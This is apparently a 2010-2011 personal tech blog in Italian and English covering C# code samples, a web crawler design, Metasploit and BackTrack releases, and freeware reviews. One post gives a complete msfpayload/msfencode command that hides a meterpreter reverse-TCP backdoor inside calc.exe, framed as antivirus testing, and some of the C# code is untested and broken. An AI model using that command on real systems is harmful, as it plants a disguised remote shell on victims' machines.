Gianmarco Castagna Blog

The German magazine online Chip reviews AntivirusMulti 2.3

2011-03-28T12:20:00.000+02:00

Chip Magazine Germany has reviewed AntivirusMulti 2.3 (I'm the author ) and it has included antivirusmulti in "permanent" download list , I hope that users can send me email or add anonymous comment for opinions or suggestions for new features,you can give me an opportunity for improving this software.

here the project

send me an email or add comment for your opinion

Metasploit 3.5.2

2011-02-22T20:49:00.002+01:00

risale al 9 febbraio l'uscita della nuova release che migliora l'installazione ed aggiunge alcuni script ed exploits per eseguire ulteriori test http://www.metasploit.com/

Using multicore power : TPL library ,a simple test for Parallel.For , running time "< 40%"

2011-01-24T20:58:00.031+01:00

Recent pc have multicore processor but rarely code is optimized for using this power,generally processor allows a fast responsive application without using multitasking multithreading tecniques , some time you have that a single threaded application run into a core and other core sleep....

I have do a simple test for seeing performance difference from sequential programming and parallel programming "ready to use" from TPL library :
language c# ,namespace windows forms ,cryptography,system.threading.tasks (under last namespace you can find Parallel and other interesting things like PLinq and Task object ),
like hard work for processor I choose generation of asymettric pairs key I use RSA.Create()

this is the code :

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading.Tasks;
using System.Security.Cryptography;

namespace TestParallel
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {


        }

        private void TestParallel()
        {
            DateTime dt1 = DateTime.Now;
            var pairs = new string[100];
            //auto generate multiple thread
            //rsa creation keys like hard work
            Parallel.For(0, pairs.Length,
                          i => pairs[i] = RSA.Create().ToXmlString(true));
            DateTime dt2 = DateTime.Now;
            TimeSpan ts = dt2.Subtract(dt1);
            int hours = ts.Hours;
            int minutes = ts.Minutes;
            int seconds = ts.Seconds;
            int millisesonds = ts.Milliseconds;
            string str = hours.ToString() + ":" + minutes.ToString() + ":" + seconds.ToString() + ":" + millisesonds.ToString();
            this.textBox1.Text=str;
        }

        private void TestSequential()
        {
            DateTime dt1 = DateTime.Now;
            //single thread
            var pairs = new string[100];
            int l = pairs.Length;
            int k=0;
            while(k<l) {
                pairs[k] = RSA.Create().ToXmlString(true);
                k++;
            }
            DateTime dt2 = DateTime.Now;
            TimeSpan ts = dt2.Subtract(dt1);
            int hours = ts.Hours;
            int minutes = ts.Minutes;
            int seconds = ts.Seconds;
            int millisesonds = ts.Milliseconds;
            string str = hours.ToString() + ":" + minutes.ToString() + seconds.ToString() + ":" + millisesonds.ToString();
            this.textBox2.Text = str;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            this.TestParallel();
        }

        private void button2_Click(object sender, EventArgs e)
        {
            this.TestSequential();
        }

    }
}

and this is the result :

Parallel time execution 13,7 seconds ,sequential execution 23 seconds ,my pc is dual core and advantage is > 40% if you have recent multicore processor you can do a test ,

success of parallel is not a surprise but percentage reveal an excellent performance

XmlVm in pratica

2011-01-20T21:45:00.003+01:00

XmlVm è un tool opensource cross compiler convertitore di codice ,

non esiste ancora una release come accennavo nello scorso post ma
potete scaricare il codice sorgente da qua http://sourceforge.net/projects/xmlvm/
usando subversion che trovate qui http://subversion.tigris.org/ ,

a questo punto il modo piu' semplice per avere XmlVm pronto all'uso
è scaricare Apache Ant ---> http://ant.apache.org/

installate ant ,al massimo dovrete settare 3 variabili di sistema (pannello di controllo---> sistema-->avanzate ---> variabili ambiente ....) java_home,ant_home a path con i valori relativi che potete trovare nel manuale html conteuto nel download di ant ,

eseguite ant puntando alla dir dove avete scaricato xmlvm (vedi http://www.xmlvm.org/documentation/ Compiling XmlVm)

a questo punto avrete nella dir "dist" l'eseguibile java xmlvm.jar che potete invocare dal vostro jre-jdk usando java.exe

ho provato a fare un semplicissimo programma di test usando netbeans e poi usando le opzioni --target=iphone , e target=js ho generato le applicazioni equivalenti a quella desktop in java,xmlvm.jar sembra produrre del codice corretto sia per quanto riguarda gli script javascript che il progetto per iphone per il quale viene generata una dir contente tutti i file sorgenti ed un file make , purtroppo per compilare i file sorgenti servirebbe un apple mac ed uno ios sdk, non possiedo nessuno dei due ma se qualche lettore del blog avesse mac e l'sdk iOs potrebbe fare una prova e poi postare un commento od inviare un email . XmlVm permette anche di convertire java anche in codice per Android e Palm oppure generare codice iphone da codice android (objective-c),nella doc del sito si trovano tutte le opzioni elencate , il vantaggio complessivo sembrerebbe evidente in quanto si può sviluppare con strumenti rad open usando java e poi buildare un eseguibile per vari dispositivi mobili o meno in modo relativamente semplice,uno dei colli di bottiglia è però rappresentato dal fatto che l'sdk ios è solo per Mac e per di piu' sembrerebbe distribuito solo ai developer apple registrati (e paganti?!?) il progetto resta comunque molto interessante e navigabile facilmente con Eclipse ,
partire da eseguibili c# (cli) attualmente sembra piu' arduo in quanto la compatibilità java verso gli altri target è attualmente piu' ampia a livello di "compilatore" xmlvm , la similitudine sintattica tra java e c# rende comunque facile usare java per chi utilizza c# ,una potenziale possibilità per i programmi scritti in c# è portarli sotto Mono e compilarli in modo nativo per i singoli processori http://www.mono-project.com/Mono:ARM

Metasploit 3.5.1 ,BackTrack r2

2010-12-28T07:43:00.004+01:00

Risale al 15 dicembre la realizzazione di una nuova versione di metasploit la 3.5.1 con 46 moduli nuovi ed una quindicina di nuovi script,da provare....,alcuni dei nuovi script sono specifici per catturare audio e webcam su una macchina remota....... ,

passando a BackTrack r2 dovrebbe rappresentare un notevole passo in avanti ,piu' bello il wiki che permette di affrontare i problemi piu' comuni ad esempio non parte la gui grafica [verificato :-( ] ,

la versione r2 ha un file di "installazione" già pronto per le macchine virtuali vmware ,in questo modo potete provare backtrack senza fare un dual boot dedicando un paio di giga del vostro hard disk e niente altro ,ed eventualmente rimuoverlo come se si trattasse di un file,

per la r2 novità consistenti nell'area wireless http://www.backtrack-linux.org/wiki/index.php/Wireless_Drivers ...

WiFi Defender : un software per mappare la rete wifi

2010-10-12T23:22:00.001+02:00

Wifi Defender è un semplice software che ho sviluppato in c# per mappare la rete wifi ,catturarne gli eventi,cercare macaddress od hotspot ,migliorare la sintonia con un antenna direzionale,versiona attuale: 0.1 prealpha ( http://code.google.com/p/wifidefender/)

Nemesis un software per misurare la velocità delle connessione internet con accuratezza e valore legale

2010-08-27T23:50:00.002+02:00

A fine estate dovrebbe essere possibile scaricare un software per la misurazione della velocità delle connessioni internet particolarmente accurato,il software sarà disponibile all'url "www.misurainternet.it" e questo sito sarà collegato ad un altro che riassumerà i costi delle varie connessioni,il software effettua diverse misurazioni nelle 24 ore per arrivare ad un valore il piu' singnificativo possibile,sembra che il report generato da questa applicazione potrà avere un valore legale.

Eliminare un processo di sistema come extrema ratio

2010-08-27T15:46:00.002+02:00

LEGGETE IL POST FINO ALLA FINE PRIMA DI FARE QUALCOSA...
nel caso in cui vi venga segnalato un virus in un processo di sistema l'antivirus potrebbe non contemplare l'ipotesi di killare il processo ospitante il virus (un esempio era lsasser che si annidava nel processo lsass) , il task manager probabilmente non vi consentirà di eliminare il processo negandovi l'accesso ,killare un servizio di sistema potrebbe in questo scenario permettere al vostro antivirus di riprendere il controllo della situazione ma molti sono i possibili e probabili effetti "collaterali" : eliminando dai processi in esecuzione un processo di sistema potete facilmente incorrere nel blocco della macchina,schermata blu e perdita dei dati se oltre ad un restart forzato , la scelta stà quindi a voi ,per portare a termine l'operazione normalente non consentita potete utilizzare ProcessHacker un software gratuito ed opensource scritto in csharp che vi consente una gestione maggiore dei processi in esecuzione rispetto al TaskManager,se avete altre strade da tentare provatele prima di contemplare anche solo ipoteticamente questa possibilità .
LA FINE DEL POST :-)

Newzie un software freeware per recuperare ed aggregare notizie dal web in modo intelligente

2010-08-22T13:42:00.005+02:00

English version
Newzie è un software freeware ed utile che potere scaricare dal sito http://www.newzie.com/ ,permette di monitorare il cambiamento di pagine web,aggregare piu' feed rss in uno solo, inserire dei filtri nei feed in modo da recuperare solo quei post che contengono solo le parole chiave da noi scelte come rilevanti .Per le altre interessanti funzioni vi rimando al dettagliato help,è un software gratuito che può essere ,a mio avviso, utilizzato in ambito professionale da blogger e giornalisti ,ad un primo sguardo mi sembra manchi un dizionario dei sinonimi che potrebbe potenziare e rendere piu' comodo l'uso di filtri formati da keywords sui feed .

Manipolazione immagini in c#

2010-08-21T00:09:00.002+02:00

Qualche link con articoli e progetti interessanti relativi alla manipolazione delle immagini usando csharp :

http://www.c-sharpcorner.com/uploadfile/shrutishrivastava/imageprocessing12192005061519am/imageprocessing.aspx un articolo introduttivo alla manipolazione di immagini in .Net ,
http://www.dreamincode.net/forums/topic/53101-image-manipulation-with-gdi-in-c%23/ come aggiungere un "copyright" ad un immagine
http://www.aspfree.com/c/a/C-Sharp/Basic-Image-Manipulation-using-GDI-and-C/ , un'introduzione a GDI
http://www.codeproject.com/KB/GDI-plus/Image_Processing_Lab.aspx ,dallo stesso autore di interessanti software e librerie open (http://code.google.com/p/aforge/) per la detection di movimento e non solo , un interessante articolo che illustra funzioni avanzate

un post per chi vuole qualche spunto per acculturarsi su questi argomenti trattati su piattaforma windows con il framework .net utilizzando il linguaggio csharp.

An interesting freeware software: "Memory Improve Ultimate Free Version"

2010-08-20T16:51:00.014+02:00

now a freeware version,this software increase pc performance, software is designed to improve and monitor system memory,on website of software house you can find a plus of info and download link >>>> "http://www.windowscarepro.com/memory_improve_ultimate_free_version/index.htm"

Freeware software BackTrack r1 , Black Hat conference edition

2010-08-12T13:32:00.004+02:00

Risale al 5 agosto l'uscita della nuova release r1 di BackTrack oltre all'immagine iso potete scaricare sul sito ufficiale l'ìimmagine pronta per vmware che consente di usare in una macchina virtuale in un sistema windows quest'edizione con nuovi tool ed un nuovo kernel ,l'immagine per vmware è di circa 2400 mb.

Convertire codice vb.net in c# o viceversa oppure da c# verso python o ruby con un software freeware ed opensource

2010-08-06T21:26:00.007+02:00

Tutto questo è possibile utilizzando SharpDevelop (è freeware ed open source,scaricate la 3.2 o successive) il risultato può non sempre essere eccelso ma comunque il convertitore funziona ,
aprite il progetto sorgente ad esempio in c# ,navigate il menu principale fino a progetto apritelo ed andate a converti scegliete il linguaggio che preferite e verrà appeso alla soluzione un nuovo progetto che sarà la traduzione nel linguaggio destinazione del progetto iniziale....

Freeware and opensource software Content Management System Umbraco

2010-08-05T22:23:00.007+02:00

Umbraco è scritto in C# ( asp.net ) e richiede Sql Server come database,è sufficiente la versione gratuita di sql server, l'Express 2005 o 2008 .

Umbraco è attualmente il CMS piu' in voga nel mondo asp .net e la sua diffusione è dovuta al alcuni chiari fattori :

-è gratuito ed opensource

-è un cms molto "usabile"

-è facile da modificare aggiungendo qualsiasi controllo asp.net all'interfaccia quindi estendendo l'interfaccia di Umbraco e le sue funzionalità nel modo desiderato

-è ovviamante estendile anche il "backend" aggiungendo funzioni all'applicazione quale la generazione di documenti pdf o qualsiasi altra integrazione possibile di .net con l'interoperabilità verso qualsiasi altra libreria anche non .net ad esempio è possibile aggiungere un validatore di bilanci XBLR al nostro sito "Umbraco" in pochi passi utilizzando IKVM (opensource) per interagire con la libreria java opensource che gestisce il formato oppure interagire con le api di windows tramite P-Invoke , ad esempio per chiamare l'antivirus di default sulla macchina,in questo caso l'host con IIS (il processo dell'antivirus potrebbe rallentare IIS se sulla stessa macchina...) , usando lo stesso metodo utilizzato da Firefox al quale ho accennato in un passato post, per controllare la presenza di virus in un file di cui viene fatto il download ,
a questo proposito è necessario dire che tra le molte estensioni pronte e gratuite di Umbraco è presente anche un controllo per l'upload di file con un sistema di chunk ovvero se vogliamo caricare un file molto grande nel cms(Umbraco) possiamo farlo in piu' volte con dei chunk (pezzo,unità) di 100 kb senza dover ripartire dall'inizio dell'upload .

Geolocalizzazione con street view e firefox

2010-08-05T07:44:00.003+02:00

Samy Kamkar alla Black Hat hackers conference ha dimostrato come un sito web gestito da un hacker può risalire alla nostra locazione geografica , non alla localizzazione tramite ip ottenibile con iptrace ed altri software molto diffusi ma l'hacker può risalire alla localizzazione precisa, errata solo di pochi metri ,da quello che ho letto penso che in realtà si tratti almeno di alcune decine di metri basandosi sulle coordinate per la localizzazione gps , qui trovate il post da cui ho tratto la notizia , interessati sicuramente gli utenti di Firefox.

StealthMessage,messaggi email "a scadenza"

2010-08-04T07:25:00.005+02:00

StealthMessage.com è un sito che permette di creare un account di "posta elettronica" gratuito non proprio classicamente inteso....,è possibile scrivere un messaggio di posta , al destinatario viene inviata un email che contiene un link che punta al sito Stealth Message ,dove il messaggio può essere letto in https , il mittente può impostare un tempo scaduto il quale il messaggio sul server Stealth viene cancellato ed è possibile settare anche una password per offuscare il messaggio .

Crittografia GSM : non è necessario crakkarla è sufficiente "spegnerla"

2010-08-04T07:18:00.008+02:00

Da un articolo su TechRepublic si deduce che il protocollo GSM non sia forse il massimo in termini di sicurezza ,infatti è il dispositivo mobile che spedisce un certificato (IMSI) alla torre.....alla torre del network....in genere....,
il post che trovate qui "http://blogs.techrepublic.com.com/security/?p=4167&tag=nl.e036" spiega, in termini generici, come sia possibile forzare i telefoni cellulari a disattivare la crittografia e quindi ad esporli ad un attacco del tipo Man-in-the-Middle .Questo avviene con un hardware che simula d'essere la cella del network,questo tipo di hardware si chiama IMSI-catcher,wikipedia ne dà una dettagliata descrizione , UMTS ha invece un tipo di autenticazione reciproca fra network e dispositivo rendendo l'attacco man-in-the-middle non praticabile.

E' arrivata la patch per la falla dei file .lnk di windows che permetteva l'esecuzione di codice remoto tramite windows shell

2010-08-03T13:09:00.003+02:00

qui "http://www.microsoft.com/technet/security/bulletin/ms10-046.mspx"
trovate il bolletino di microsoft con i dettagli , finalmente quindi questo problema che permetteva l'esecuzione di codice remoto tramite la windows shell è risolto, l'aggiornamento viene scaricato subito da windows update essendo di livello "critical"......

A browser crawler : the code

2010-07-30T22:33:00.020+02:00

configuration class allows some configuration variables and methods

public class Configuration
    {
        public int sequenceLen = 10000;
        public int bigPauseSeconds = 9;
        public int littlePauseSeconds = 2;
        public int frequencyBigPauseMax = 21;
        public int frequencyBigPauseMin = 5;
        public int deepBrowsing = 3; //
        public List<string> browserIdentities = new List<string>();
        public Configuration()
        {
            LoadBrowserIdenties();
        }

        //only for webclient class usage
        private void LoadBrowserIdenties()
        {
            //add here "user-agent" http values
            browserIdentities.Add("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)");
        }

    }
LoadBrowserIdentities allows loading of "user-agent" var for multiple browsers, at this time one :-) ,

Util class do ...utility class and contains methods helper for entire application

public class Util
    {

        public Util()
        {

        }

        public string HtmlEncode(string input)
        {
            return HttpUtility.UrlEncode(input);
        }
        public List<int> CreatePauseSequence()
        {
            Configuration c = new Configuration();
            List<int> sequencePauseList = new List<int>();
            Random r = new Random();
            int bigPauseRndFrequency = r.Next(c.frequencyBigPauseMin, c.frequencyBigPauseMax);
            int start = 0;
            int end = c.sequenceLen;
            while (start < end)
            {
                if ((start % bigPauseRndFrequency) == 0)
                {
                    sequencePauseList.Add(this.BigPauseCalculator());
                }
                else
                {
                    sequencePauseList.Add(this.LittlePauseCalculator());
                }
                start++;
            }
            return sequencePauseList;
        }
        private int BigPauseCalculator()
        {
            Configuration c = new Configuration();
            int initial = c.bigPauseSeconds;
            Random r = new Random();
            int randRet = r.Next(10);
            int final = initial * randRet;
            return final;
        }
        private int LittlePauseCalculator()
        {
            int finalLittle = 0;
            Configuration c = new Configuration();
            Random r = new Random();
            int rndRet = r.Next(10);
            int l = c.littlePauseSeconds;
            finalLittle = rndRet * l;
            return finalLittle;
        }
    }
class NodeResource is a node of navigation process ,it extends Node class

public class Node
    {
        public Node()
        {
        }
    }

    public class NodeResource:Node
    {
        public int deepNode = 0;
        public string uri = null;
        public bool visited = false;
        public HtmlDocument currDocument = null;
        public string strCurrDocument = null;
        public List<KeywordsResult> listK = null;
        public List<RegExResult> listR = null;
        public byte[] binaryResource;
        public NodeResource()
        {
        }
    }

class Navigation is navigation process

public class Navigation
    {
        public List<string> keywords = new List<string>();
        public List<string> regularExpression = new List<string>();
        public List<NodeResource> listNodes = new List<NodeResource>();
        public int deepNodeLimit = 0;
        public Navigation()
        {
            Configuration c = new Configuration();
            this.deepNodeLimit = c.deepBrowsing;
        }
    }

class RegExResult store result of regular expressions extracted from uri data

public class RegExResult
    {
        public string regExtext = null;
        public List<string> matchList = null;
        public RegExResult()
        {
        }
    }

How it works :
here codebehind from a windows form
for first is called Load method when form is loaded ,
it create a timer but disabled ,when button is clicked on interface of windows form
navigation class is instanced and timer property "enabled" is setted to true value, timer run , when it elapses
for first enable value of timer is setted to "false" , after setted navigate methods of webbrowser control is called,when downloadcompleted event from webbrrowser control is elapsed noderesource object have an embedded htmldocument ,all works with enabling disablign timer,I have choosed this solution for emulating a human user in this software and for this it hava e DoSleep() function ,it stop current thread for a pause ,pause is short or long and values are random from a min and a max ,
iinto Configuration class you have a deep value it is max deep of exploration ,

public partial class Form1 : Form
    {
        List<int> calculatedSleepInterval = null;
        List<HtmlElement> links = new List<HtmlElement>();
        List<HtmlDocument> listHtmlDocs = new List<HtmlDocument>();
        public Navigation nav = null;
        System.Timers.Timer timer = null;
        NodeResource currNodeResource = null;
        public Form1()
        {
            InitializeComponent();
        }

        private void button6_Click(object sender, EventArgs e)
        {
            //add here result speech processor...
            //add <br> and "." parse consideration introducing pauses during reading process

        }

        private void Form1_Load(object sender, EventArgs e)
        {
            TimerCreation();
            //EmailManager email= new EmailManager();
            CalculateSequencePause();
            Util u = new Util();
            this.webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(webBrowser1_DocumentCompleted);
        }

        private void TimerCreation()
        {
            timer = new System.Timers.Timer();
            timer.AutoReset = true;
            timer.Enabled = false;
            timer.Interval = 2000;
            timer.Elapsed += new ElapsedEventHandler(timer_Elapsed);
        }

        /// <summary>
        /// timer do all works ,
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        void timer_Elapsed(object sender, ElapsedEventArgs e)
        {
            //go to first unknown uri
            int counted = this.nav.listNodes.Count;
            int counter = 0;
            bool found=false;
            //found unvisited resource
            while (counter < counted && !found)
            {
                NodeResource nr = this.nav.listNodes[counter];
                if (!nr.visited)
                {
                    //here is unique point for calling Navigate() method
                    this.currNodeResource = nr;
                    //stop timer
                    this.timer.Enabled = false;
                    found = true;
                    this.webBrowser1.Navigate(new Uri(nr.uri));
                }
                counter++;
            }
            //if found ==false exit()
        }

        private void CalculateSequencePause()
        {
            Util u = new Util();
            List<int> sequencePause = u.CreatePauseSequence();
            this.calculatedSleepInterval = sequencePause;
        }


        void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
        {
            WebBrowser w = (WebBrowser)sender;
            //set currNode
            currNodeResource.uri = w.Url.ToString();
            currNodeResource.currDocument = w.Document;
            currNodeResource.visited = true;
            currNodeResource.strCurrDocument = w.DocumentText;

            //replace currNode in list nodes
            int counted=this.nav.listNodes.Count;
            int counter=0;
            bool found = false;
            while(counter < counted && !found) {
                NodeResource res = this.nav.listNodes[counter];

                if(res.uri.Equals(w.Url.ToString())) {
                    //replace NodeResource
                    this.nav.listNodes[counter]=currNodeResource;
                }
            }
            //here get sub nodes
            if (currNodeResource.deepNode < nav.deepNodeLimit)
            {

                //links to resources
                counted = w.Document.Links.Count;
                counter = 0;
                while (counter < counted)
                {
                    //create and append a node for each new uri
                    HtmlElement elem = w.Document.Links[counter];
                    NodeResource n = new NodeResource();
                    n.deepNode = currNodeResource.deepNode + 1;
                    n.uri = elem.GetAttribute("href");
                    this.nav.listNodes.Add(n);
                    counter++;
                }
            }
            //here re-enable timer object
            DoSleep();
            this.timer.Enabled = true;
        }

        private void button8_Click(object sender, EventArgs e)
        {
            //start navigation
            if (this.nav == null)
            {
                Navigation n = new Navigation();
            }
            else
            {
                // clear previous navigation values
                // this.nav.listNodes.Clear();
            }
            //single node creation
            NodeResource node = new NodeResource();
            node.uri = this.textBoxUrl.Text;
            node.deepNode = 1;
            this.currNodeResource = node;
            //append node in navigation
            this.nav.listNodes.Add(node);
            this.timer.Enabled = true;
        }

        private void DoSleep()
        {
            if (this.calculatedSleepInterval.Count < 1)
            {
                this.CalculateSequencePause();
            }
            int pause = this.calculatedSleepInterval[0];
            Thread.Sleep(pause * 1000);
            this.calculatedSleepInterval.RemoveAt(0);
        }

    }
application will provide for reading result using speech synthesizer ,
at this time I search a stand alone synonyms dictionary for an addtion of correlation to basic, plain ,search of keywords.I love multithreading tecniques but this application will emulate a human user and he have a single conscious process ..or not? ,
code is not tested and not compiled...

Come costruire un browser-crawler

2010-07-29T13:58:00.007+02:00

translate to english
Parto dall'elenco (aperto) delle funzionalità :
1) browser
2) crawler che permetta di trovare le informazioni sul web navigando seguendo link ,parole chiave (e magari sinonimi)
3) report l'applicazione deve essere in grado di presentare i dati in modo compatto per permettere in seguito una navigazione umana sui dati estratti o sulle pagine originarie
4) avere un tipo di navigazione che riproduca il piu' possibile quella di una persona per non caricare i web server o saturare la nostra connessione quindi niente code di chiamate http o simili ,un dizionario dei sinonimi incorporato permetterebbe di introdurre una certa elsticità alle keywords iniziali
5) il programma deve permettere di impostare la profondità e l'accuratezza della navigazione ,ad esempio se estrarre anche l'eventuale testo dalle immagini i meno
6) il software deve essere in grado di imparare ossia di non analizzare una seconda volta risorse uri dalle quali non ha estratto dati validi per una determinata ricerca,poich' le pagine web cambiano questa dev'essere un'opzione e non una scelta
7) l'applicazione deve avere un certo livello di sicurezza per questo deve poter girare dentro una sandbox

Una possibile soluzione:
in .net su piattaforma windows usando mono su linux e unix.
I singoli punti :
1) con il controllo webbrowser
2) sempre con il controllo webbrowser che ha gli eventi per essere pilotato programmaticamente,si potrebbe anche utilizzare la classe webclient ,il controllo web browser dà però il vantaggio di avere un accesso immediato al dom dell'oggetto html risultante dalla chiamata,per considerare i risultati pertinenti l'applicazione deve permettere l'aggiunta di regular expression alla keywords letterali , è necessario impostare un operatore simile a "near" per aggiungere un valore di prossimità rilevante tra le keywords.
3) gli oggetti collection e gridview forniscono il necessario per la persistenza in "sessione" dei risultati,il sintentizzatore di sistema fornisce il modo per la possibile lettura audio dei dati
4) per questo risultato è necessario avere un unico thread che segue una navigazione temporizzata applicando costantemente la logica fornita dalla keywords (+ sinonimi se possibile per garantire una minima simulazione della correlazione tra concetti ed estensione della "base" di ricerca),visto che gli essere umani leggono le immagini ed il testo in esse contenuto l'uso di un motore ocr per considerare anche il testo nelle immagini dovrebbe migliorare il risultato,ad esempio tesseract.
5) la profondità può essere il numero di livelli di esplorazione partendo dall'uri iniziale
6)questo potrebbe concretizzarsi nel marcare un ramo dell'esplorazione come "da non seguire" se non ha portato ad un risultato,essendo mutevoli i contenuti del web (come del resto quelli di un filesystem) questa dev'essere un opzione
7) visto che l'applicazione naviga in modo autonomo l'esecuzione di essa dentro una sandbox sarebbe auspicabile , la sandbox di "comodo software" può essere una soluzione pratica e gratuita.

Spero che qualche letore possa aggiungere un commento critica o suggerimento anche in modo anonimo.

Costruire un browser-crawler per navigare in internet in modo "assistito" e con un risultato compatto

2010-07-29T13:43:00.002+02:00

translate to english
Si tratta solo di un idea ma un browser che svolga anche una navigazione parallela alla nostra e ci aiuti a trovare risultati pertinenti potrebbe essere a mio avviso un risultato parzialemente ottenibile ,un programma vagamente simile è Auto Web Browser ,
le funzionalità di quest'ipotetico browser-crawler :

1) browser
2) crawler che permetta di trovare le informazioni sul web navigando seguendo link ,parole chiave (e magari sinonimi)
3) report l'applicazione deve essere in grado di presentare i dati in modo compatto per permettere in seguito una navigazione umana sui dati estratti o sulle pagine originarie
4) avere un tipo di navigazione che riproduca il piu' possibile quella di una persona per non caricare i web server o saturare la nostra connessione quindi niente code di chiamate http o simili ,un dizionario dei sinonimi incorporato permetterebbe di introdurre una certa elsticità alle keywords iniziali
5) il programma deve permettere di impostare la profondità e l'accuratezza della navigazione ,ad esempio se estrarre anche l'eventuale testo dalle immagini i meno
6) il software deve essere in grado di imparare ossia di non analizzare una seconda volta risorse uri dalle quali non ha estratto dati validi per una determinata ricerca,poich' le pagine web cambiano questa dev'essere unaopzione e non una scelta
7) l'applicazione deve avere un certo livello di sicurezza per questo deve poter girare dentro una sandbox

spero che qualche lettore del blog possa dare un suo comnmento, critica o suggerimento.

Metasploit ,meterpreter and msfencode command

2010-07-29T13:37:00.009+02:00

Msfencode command allows embed meterpreter payload into an existing executable,this allows building test for antivrus detection and penetration test for firewall, hot it works:
msfencode is a function with some option parameters :
digit msfencode -h , you see oprtions:

-a The architecture to encode as
-b The list of characters to avoid: '\x00\xff'
-c The number of times to encode the data
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-p The platform to encode for
-s The maximum size of the encoded data
-t The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war)
-x Specify an alternate win32 executable template
this is a sample usage :
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.210.01 R | ./msfencode -t exe -x calc.exe -k -o calc_meterpreter.exe -e x86/shikata_ga_nai -c 3

msfencode command adds reverse_tcp code to .text section of executable file and
output is a calc_meterpreter.exe ,if you run calc_meterpreter.exe reverse_tcp is executed in ram and if your firewall is bypassed and hacker listen you have a meterpreter console running on your localhost..... and your data will be copied or your pc will be used for criminal activity ,you can try to scan calc_meterpreter.exe using your antivirus and you can post here the result

Requirements for test :

- a pc with windows or linux ,(linux backtrack os have already installed metasploit)

- metasploit framework

You can try to detect and destroy meterpreter attack in ram using Antimeter.

Send email over ssl programmatically ,using c# and SmtpClient class

2010-07-28T07:06:00.006+02:00

Send email programmatically using c# is very easy,here the code for a class EmailSender for Gmail for sample :
######################################################
using Systenm.Net.Mail;

public class EmailSender {
    public EmailSender(string smtpServerAddress,int smtpServerPort,usernameEmail,pwdEmail,emailAddressFrom,emailAddressTo) {
        SmtpClient mailClient = new SmtpClient(smtpServerAddress, smtpServerPort);
        mailClient.EnableSsl = true;
        NetworkCredential cred = new NetworkCredential(
           usernameEmail ,pwdEmail);
        mailClient.Credentials = cred;
        mailClient.EnableSsl = true;
        mailClient.Send(emailAddressFrom, ,emailAddressTo, "i'm the email subject", "i'm the email body");
    }
}
################################################

replace methos Send with SendAsync for heavy process,async don't stop caller thread,see msdn for doc

Antivirus tutti inutili?

2010-07-27T13:58:00.000+02:00

Ho letto che alcuni tra gli attacchi piu' pericolosi avvengono tramite iniezione di codice malicious all'interno di processi in esecuzione,questo tipo di attacco ha conseguenze devastanti non tanto sul funzionamento delle macchina ma sui dati ,qualsiasi dato può essere portato all'esterno con facilità , vorrei sapere quali antivirus proteggono dall'iniezione di codice nei processi in esecuzione(exe o dll) in ambiente windows, ho cercato velocemente in internet ma non ho trovato notizie in questo senso,il vostro antivirus oppure altri eseguono questo tipo di controllo ?,

forse mi sono spiegato male quindi vi allego qualche link esplicativo :
come avviene l'attacco : un tipo di attacco di nmila possibili http://www.ethicalhacker.net/content/view/87/24/ ed ho trovato video peggiori ,

le tecniche di difesa http://www.4tphi.net/fatkit/papers/fatkit_dll_rc3.pdf , http://www.nologin.org/Downloads/Papers ... ection.pdf ,

il vostro antivirus gestisce l'iniezione di codice in un processo?,

spero che possiate aiutarmi al momento trovo il mio antivirus(uno dei) in un video in cui resta inerte ad un attacco in cui vengono copiati gli utenti e la password da una macchina remota....non sarei tanto sicuro che quest'antivirus abbia un ottima gestione del monitoraggio dell'iniezione di codice in memoria,

WebClient class ,add cookies management

2010-07-27T07:41:00.006+02:00

//instance of webclient class
         WebClient w = new WebClient(mytestUrl);
//add a valid user agent definition or web server can refuse your connection
// here a reference "http://msdn.microsoft.com/en-us/library/ms537503%28VS.85%29.aspx"
   w.Headers.Add("user-agent","the preferred browser from this website");

//here get data from url ......use async methods if you want a responsive application interface

        w.DownLoadString(myTestUrl);

//add a cookie for credentials
        w.Headers.Add("Cookie_Auth", "user=gianmarco; pwd=48763040");
      w.DownLoadString(myTestUrl);

//here get cookie sent from server in responseheaders of webclient class
string[] cookies = w.ResponseHeaders.GetValues("set-cookie");

//add for sample first cookie, an auth token cookie result ,you have this cookie in next request......
      w.Headers.Set(HttpRequestHeader.Cookie, cookies[0]);
      w.DownLoadString(myAuthArea);